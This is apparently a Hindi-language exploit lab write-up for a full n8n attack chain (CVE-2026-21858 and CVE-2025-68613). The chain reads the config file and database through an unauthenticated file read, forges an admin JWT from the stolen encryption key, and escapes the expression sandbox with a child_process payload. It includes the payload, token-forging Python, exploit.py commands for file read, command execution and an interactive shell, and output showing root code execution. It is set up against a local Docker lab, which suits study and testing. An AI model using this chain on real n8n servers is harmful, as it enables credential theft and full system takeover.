┌───────────────────────────────────────────────────────────┐
│                     बिना प्रमाणीकरण                       │
├───────────────────────────────────────────────────────────┤
│  1. /proc/self/environ पढ़ें → HOME डायरेक्टरी खोजें      │
│  2. $HOME/.n8n/config पढ़ें → encryptionKey प्राप्त करें  │
│  3. $HOME/.n8n/database.sqlite पढ़ें → एडमिन क्रेडेंशियल  │
├───────────────────────────────────────────────────────────┤
│                      टोकन फोर्ज                           │
├───────────────────────────────────────────────────────────┤
│  4. encryptionKey से JWT सीक्रेट प्राप्त करें             │
│  5. एडमिन सत्र कुकी फोर्ज करें                            │
├───────────────────────────────────────────────────────────┤
│                    प्रमाणित RCE                           │
├───────────────────────────────────────────────────────────┤
│  6. एक्सप्रेशन इंजेक्शन के साथ वर्कफ़्लो बनाएं            │
│  7. this.process.mainModule.require के माध्यम से सैंडबॉक्स │
│     बाईपास                                                │
│  8. मनमाने कमांड निष्पादित करें                           │
└───────────────────────────────────────────────────────────┘

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

// पहले (असुरक्षित)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// बाद में (ठीक किया गया)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

# JWT सीक्रेट व्युत्पत्ति
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT हैश
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# टोकन फोर्ज करें
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

docker compose up -d
# सेटअप के लिए ~60 सेकंड प्रतीक्षा करें
# फॉर्म: http://localhost:32790/form/vulnerable-form
# क्रेडेंशियल: [email protected] / ExploitLab123!

# मनमाना फ़ाइल पढ़ें
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# कमांड के साथ पूर्ण चेन
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# इंटरैक्टिव शेल
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n फुल चेन            ║
║     मनमाना फ़ाइल रीड → टोकन फोर्ज → सैंडबॉक्स बाईपास → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] लक्ष्य: http://localhost:5678/form/vulnerable-form
[*] वर्जन: 1.65.0 (असुरक्षित)
[x] HOME डायरेक्टरी
[+] HOME डायरेक्टरी: /root
[x] एन्क्रिप्शन कुंजी
[+] एन्क्रिप्शन कुंजी: yusrXZV1...
[x] डेटाबेस
[+] डेटाबेस: 1327104 बाइट्स
[x] एडमिन उपयोगकर्ता
[+] एडमिन उपयोगकर्ता: [email protected]
[x] टोकन फोर्ज
[+] टोकन फोर्ज: OK
[x] एडमिन एक्सेस
[+] एडमिन एक्सेस: GRANTED!
[+] कुकी: n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}